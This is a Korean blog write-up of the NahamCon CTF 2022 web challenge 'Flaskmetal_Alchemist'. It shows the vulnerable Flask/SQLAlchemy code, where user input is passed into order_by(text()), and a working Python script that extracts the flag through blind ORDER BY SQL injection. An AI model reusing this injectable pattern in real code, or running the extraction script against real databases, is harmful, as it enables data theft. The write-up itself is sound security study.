NahamCon CTF 2022 Flaskmetal_Alchemist Writeup
1. Flaskmetal_Alchemist Writeup
Description
Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit.
원소 기호 별 숫자와 이름이 나온다. 정렬할 수 있고, 원소를 검색할 수 있는 사이트가 나온다. 먼저 디렉터리 구조는 다음과 같다.
이번 문제는 python 프로그램으로 되어있는데 SQLAlchemy 와 Flask를 사용한 python 프로그램이다.
SQLAlchemy
: python에서 사용가능한 ORM(Object-relational maping)이다. ORM은 말 그대로 객체(Object)와 관계(Relation)를 연결해주는 역할을 수행한다.
database.py
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base
engine = create_engine("sqlite:////tmp/test.db")
db_session = scoped_session(
sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()
def init_db():
Base.metadata.create_all(bind=engine)
database.py 에서는 DB가 현재 sqlite를 사용하고 있음을 알 수 있다.
moels.py
from database import Base
from sqlalchemy import Column, Integer, String
class Metal(Base):
__tablename__ = "metals"
atomic_number = Column(Integer, primary_key=True)
symbol = Column(String(3), unique=True, nullable=False)
name = Column(String(40), unique=True, nullable=False)
def __init__(self, atomic_number=None, symbol=None, name=None):
self.atomic_number = atomic_number
self.symbol = symbol
self.name = name
class Flag(Base):
__tablename__ = "flag"
flag = Column(String(40), primary_key=True)
def __init__(self, flag=None):
self.flag = flag
from flask import Flask, render_template, request, url_for, redirect
from models import Metal
from database import db_session, init_db
from seed import seed_db
from sqlalchemy import text
app = Flask(__name__)
@app.teardown_appcontext
def shutdown_session(exception=None):
db_session.remove()
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
search = ""
order = None
if "search" in request.form:
search = request.form["search"]
if "order" in request.form:
order = request.form["order"]
if order is None:
metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
return render_template("home.html", metals=metals)
else:
metals = Metal.query.all()
return render_template("home.html", metals=metals)
if __name__ == "__main__":
seed_db()
app.run(debug=False)
requirements.txt
click==8.1.2
Flask==2.1.1
importlib-metadata==4.11.3
itsdangerous==2.1.2
Jinja2==3.1.1
MarkupSafe==2.1.1
SQLAlchemy==1.2.17
Werkzeug==2.1.1
zipp==3.8.0

else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
return render_template("home.html", metals=metals)
solution
#!/usr/bin/env python3
from requests import post
from string import ascii_lowercase
URL = 'http://challenge.nahamcon.com:30702'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"
flag = ''
index = 1
while True:
for char in ALPHABET:
response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
# The first atomic symbol appears on index 74 of the response (split by newlines).
# If that is Li (which has an atomic number of 3), then we sorted by atomic number.
first_atomic_symbol = response.text.split('\n')[74]
if 'Li' in first_atomic_symbol:
flag += char
index += 1
break
print(flag)
if flag[-1] == '}':
break
Flag: flag{order_by_blind}
참고문헌
https://ulfrid.github.io/python/python-sqlalchemy/
ctf/2022/nahamcon/web/flaskmetal_alchemist at master · ryan-cd/ctf · GitHub
'웹해킹 > CTF' 카테고리의 다른 글
Codegate CTF 2022 WEB My Blog Writeup (0) | 2022.11.21 |
---|---|
화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup (0) | 2022.11.19 |
Codegate 2022 webhacking CAFE Writeup (0) | 2022.11.18 |
Codegate 2022 webhacking Baby First Writeup (0) | 2022.11.16 |
NahamCon CTF 2022 Personel Writeup (0) | 2022.11.12 |